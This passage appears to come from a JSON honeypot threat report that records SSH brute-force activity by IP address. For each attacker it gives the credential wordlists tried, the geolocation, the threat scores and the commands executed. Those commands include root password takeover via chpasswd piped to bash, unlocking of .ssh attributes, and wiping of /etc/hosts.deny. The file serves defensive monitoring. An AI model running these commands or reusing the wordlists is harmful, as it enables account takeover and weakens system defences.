      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "postgres",
        "steam",
        "test",
        "user1",
        "ali",
        "deploy",
        "factorio",
        "frappe",
        "kontakt",
        "pymes",
        "simon",
        "test001",
        "tmpuser",
        "ubuntu",
        "user42",
        "userx"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "!qazXsw2",
        "123654",
        "12qwaszx",
        "2026",
        "AAdd123",
        "Admin123456789@#",
        "Pass2023",
        "ZAQ!2wsx2026$",
        "ali14",
        "asdf",
        "cc1234",
        "factorio",
        "hao123.com",
        "kontakt",
        "qwe123",
        "root4321!!",
        "server123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "uname -a",
        "echo \"12qwaszx\\nnuE1Tb73rVB8\\nnuE1Tb73rVB8\\n\"|passwd",
        "echo \"qwe123\\n20Sz06j0lMwZ\\n20Sz06j0lMwZ\\n\"|passwd",
        "echo \"root:TDHBYu9P8Wu1\"|chpasswd|bash",
        "echo -e \"12qwaszx\\nnuE1Tb73rVB8\\nnuE1Tb73rVB8\"|passwd|bash",
        "echo -e \"qwe123\\n20Sz06j0lMwZ\\n20Sz06j0lMwZ\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Bangkok",
      "asn": 45458,
      "as_org": "SBN-ISPAWN-ISP and SBN-NIXAWN-NIX",
      "threat_score": 12.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.3,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 422,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T01:01:32.566000+00:00",
        "last_seen_30d": "2026-04-09T08:09:58.858000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 332,
        "Suricata": 90
      }
    },
    "119.15.80.167": {
      "attack_count": 330,
      "first_seen": "2026-04-05T17:25:17.656Z",
      "last_seen": "2026-04-05T18:23:28.237Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "loguser",
        "developer",
        "ftpuser",
        "ivan",
        "jim",
        "milan",
        "server",
        "test",
        "testuser",
        "vivi"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1029384756",
        "123456",
        "12345678",
        "2026.com",
        "Ab147258",
        "Abcd1234567@#",
        "Login@123",
        "Password@2022",
        "QQzz1234",
        "Qaz123wsx",
        "Qazwsx111@",
        "TestUser",
        "aaDD000",
        "bbZZ112233",
        "dev",
        "diamond",
        "ftppasswd",
        "jim"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nnfqsSr1gpNQD\\nnfqsSr1gpNQD\\n\"|passwd",
        "echo \"root:EoBMwu09TtXj\"|chpasswd|bash",
        "echo \"root:wSY8byxn6Jxe\"|chpasswd|bash",
        "echo -e \"123456\\nnfqsSr1gpNQD\\nnfqsSr1gpNQD\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Cambodia",
      "country_code": "KH",
      "city": null,
      "asn": 24492,
      "as_org": "WiCAM Corporation Ltd.",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 401,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T17:25:17.656000+00:00",
        "last_seen_30d": "2026-04-05T18:24:34.160000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 330,
        "Suricata": 71
      }
    },
    "211.251.245.88": {
      "attack_count": 304,
      "first_seen": "2026-04-02T22:23:42.354Z",
      "last_seen": "2026-04-02T23:38:02.802Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "0706",
        "123456wW",
        "123@",
        "2586",
        "456lf",
        "Aaa",
        "Gh123456",
        "P4ssword2026",
        "aaron123",
        "abc@123.",
        "abcd1234@",
        "f00tb4ll",
        "good",
        "manuel",
        "mnbvcxz123",
        "q1w2e3r4T5",
        "qaz1234567",
        "qweasdzxc"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:IYxsl1kXquUx\"|chpasswd|bash",
        "echo \"root:ImlCjgNCg4id\"|chpasswd|bash",
        "echo \"root:m2qW53bLdZz5\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 367,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T22:23:42.354000+00:00",
        "last_seen_30d": "2026-04-02T23:39:09.691000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 304,
        "Suricata": 63
      }
    },
    "85.184.248.187": {
      "attack_count": 198,
      "first_seen": "2026-04-22T05:18:20.715Z",
      "last_seen": "2026-04-22T06:32:07.215Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "test",
        "user1",
        "345gs5662d34",
        "app",
        "dbuser",
        "deploy",
        "deployer",
        "ftpuser",
        "gokul",
        "odoo",
        "old",
        "omer",
        "proxyuser",
        "r00t",
        "system",
        "user",
        "yaya"
      ],
      "passwords_attempted": [
        "!QAZ4rfv",
        "123132123",
        "1234",
        "12345",
        "123456qq",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin123@",
        "Bingo@2026",
        "Password123!",
        "Test1@",
        "User25",
        "changeme",
        "dbuser",
        "deploydeploy",
        "ftpuser21",
        "gokul",
        "odoo12!",
        "omer123",
        "p@ck3tf3nc3"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:dGUeV9I8b38q\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 27.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 267,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T05:18:20.715000+00:00",
        "last_seen_30d": "2026-04-22T06:33:13.444000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 198,
        "Suricata": 69
      }
    },
    "94.29.124.154": {
      "attack_count": 198,
      "first_seen": "2026-04-25T17:50:26.110Z",
      "last_seen": "2026-04-25T18:21:08.485Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "postgres",
        "vpn",
        "345gs5662d34",
        "db2fenc1",
        "dev1",
        "frappe",
        "n8n",
        "pentaho",
        "seekcy",
        "smp",
        "socks",
        "steam",
        "sysadmin",
        "test",
        "ubuntu",
        "under",
        "user4"
      ],
      "passwords_attempted": [
        "1234",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "66666",
        "ASDasd123",
        "Admin@2026",
        "Joysuch@Locate2020",
        "Market123",
        "N8n11!",
        "Nokia@1234",
        "Pa$$w0rd@2026",
        "Postgres!123",
        "Test09",
        "Vpn09!",
        "Welcome1",
        "ahmed",
        "dev1",
        "frappe05",
        "pass123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Vpn09!\\ndHiJgBRNAgij\\ndHiJgBRNAgij\\n\"|passwd",
        "echo -e \"Vpn09!\\ndHiJgBRNAgij\\ndHiJgBRNAgij\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 25513,
      "as_org": "PJSC Moscow city telephone network",
      "threat_score": 30.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 261,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T17:50:26.110000+00:00",
        "last_seen_30d": "2026-04-25T18:22:12.700000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 198,
        "Suricata": 63
      }
    },
    "213.6.203.226": {
      "attack_count": 194,
      "first_seen": "2026-04-06T02:08:37.860Z",
      "last_seen": "2026-04-06T03:00:36.398Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "postgres",
        "345gs5662d34",
        "activemq",
        "debian",
        "forest",
        "ftp_user",
        "jenkins",
        "odoo",
        "test",
        "user"
      ],
      "passwords_attempted": [
        "1!2@3#4$",
        "1234",
        "1qaz@WSX.",
        "3245gs5662d34",
        "345gs5662d34",
        "6yhn!@",
        "987654321",
        "Jenkins@123",
        "Odoo01",
        "Password@1234!",
        "Qwe12345.",
        "Qwerty!@",
        "Root2025!@",
        "Yh@123456",
        "a12345678$",
        "activemq",
        "adminadmin",
        "forest",
        "ftp_user@2026",
        "password123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"adminadmin\\nHCkQlQXsDhq2\\nHCkQlQXsDhq2\\n\"|passwd",
        "echo -e \"adminadmin\\nHCkQlQXsDhq2\\nHCkQlQXsDhq2\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Palestine",
      "country_code": "PS",
      "city": "Gaza",
      "asn": 12975,
      "as_org": "Palestine Telecommunications Company (PALTEL)",
      "threat_score": 7.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 257,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T02:08:37.860000+00:00",
        "last_seen_30d": "2026-04-06T03:01:39.177000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 194,
        "Suricata": 63
      }
    },
    "112.216.120.67": {
      "attack_count": 193,
      "first_seen": "2026-04-09T23:52:28.628Z",
      "last_seen": "2026-04-10T00:35:39.324Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "345gs5662d34",
        "admin_user",
        "es",
        "frappe",
        "gns3",
        "labuser1",
        "logviewer",
        "nabi",
        "odoo",
        "server",
        "steam",
        "test10",
        "testuser",
        "vpn",
        "yoyo"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Frappe#",
        "Frappe01!",
        "Mm123456",
        "Odoo2025!",
        "P@ssw0rd",
        "Password@2026",
        "QWEqwe123456",
        "Qazwsx1@@",
        "Qazwsx888!@#",
        "Root2019@#",
        "Vpn22",
        "ZAQ!2wsx4321#$",
        "admin_user",
        "ccZZ123",
        "gns3",
        "labuser1",
        "nabi123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:Qizfix0IKWW6\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Yongin-si",
      "asn": 3786,
      "as_org": "LG DACOM Corporation",
      "threat_score": 12.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 255,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T23:52:28.628000+00:00",
        "last_seen_30d": "2026-04-10T00:36:45.338000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 62
      }
    },
    "137.184.228.138": {
      "attack_count": 193,
      "first_seen": "2026-04-17T21:11:41.269Z",
      "last_seen": "2026-04-17T21:47:59.530Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "345gs5662d34",
        "deploy",
        "hb",
        "infoserve",
        "jerry",
        "oguz",
        "oracle",
        "postgres",
        "roots",
        "steam",
        "teamspeak",
        "ubuntu",
        "usuario2"
      ],
      "passwords_attempted": [
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "@info2025!",
        "A12345678",
        "Aa@123456",
        "BBzz112233",
        "P@ssw0rd2025",
        "QWE1234567890",
        "Qwe@2024",
        "Qweasd123",
        "Root123123#$",
        "Root8888@@",
        "User5",
        "bangsat",
        "frappe30",
        "hb@2026",
        "local",
        "oguz",
        "oracle1234!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:t0sgkSK9pPcO\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 20.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 254,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T21:11:41.269000+00:00",
        "last_seen_30d": "2026-04-17T21:49:06.970000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 61
      }
    },
    "150.5.129.10": {
      "attack_count": 193,
      "first_seen": "2026-04-20T08:37:13.202Z",
      "last_seen": "2026-04-20T09:18:35.668Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "data",
        "git",
        "hxtest",
        "reza2",
        "saeed",
        "steam",
        "taiga",
        "test",
        "test123",
        "test2",
        "testusr",
        "wesley"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "123456Mm",
        "3245gs5662d34",
        "345gs5662d34",
        "9ol.0p;/",
        "Ab123456@",
        "Admin123",
        "Qwert!2345",
        "Test20",
        "Ubuntu19",
        "ZAQ!2wsx@123",
        "aaQQ123123",
        "amd",
        "dev123",
        "hxtest",
        "nima",
        "qwe#$%",
        "reza2",
        "root2019!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:Z8g1QiXikC04\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 24.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 255,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T08:37:13.202000+00:00",
        "last_seen_30d": "2026-04-20T09:19:39.523000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 62
      }
    },
    "213.154.77.61": {
      "attack_count": 193,
      "first_seen": "2026-04-20T23:43:02.177Z",
      "last_seen": "2026-04-21T00:19:50.788Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "bot",
        "deploy",
        "frappe",
        "git",
        "homeassistant",
        "luciano",
        "teamcity",
        "user",
        "vpn"
      ],
      "passwords_attempted": [
        "123456",
        "123456.QWER",
        "1qaz@Wsx",
        "2024@@",
        "3245gs5662d34",
        "345gs5662d34",
        "AA123456-",
        "AAAAAA123456",
        "Aa123456789",
        "Abc123##",
        "Bot15!",
        "He@123456",
        "QQxx123123",
        "QWER1234QWER",
        "Qazwsx123456$",
        "Qazwsx1234567!@",
        "Qf123456",
        "Vpn8",
        "a12345678",
        "ddXX123123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:wkWidio4GmYc\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Senegal",
      "country_code": "SN",
      "city": null,
      "asn": 8346,
      "as_org": "SONATEL SONATEL-AS Autonomous System",
      "threat_score": 26.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 254,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T23:43:02.177000+00:00",
        "last_seen_30d": "2026-04-21T00:20:53.635000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 61
      }
    },
    "45.78.237.21": {
      "attack_count": 182,
      "first_seen": "2026-04-17T08:08:15.724Z",
      "last_seen": "2026-04-17T09:18:12.730Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "teamspeak",
        "admin",
        "deploy",
        "ftp1user",
        "git",
        "test1",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "11111111",
        "12345",
        "1234567890Qwertyuiop",
        "Qazwsx12345!@#",
        "QweAsdZxc",
        "Root11111@123",
        "Root123321@",
        "Ss123456",
        "Teamspeak!@",
        "XXaa112233",
        "ftp1user",
        "git!2025",
        "pass1234",
        "password1",
        "root2022#$",
        "vps@123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Teamspeak!@\\nVL06a8YSDr7o\\nVL06a8YSDr7o\\n\"|passwd",
        "echo -e \"Teamspeak!@\\nVL06a8YSDr7o\\nVL06a8YSDr7o\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 20.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 240,
        "days_active_30d": 1,
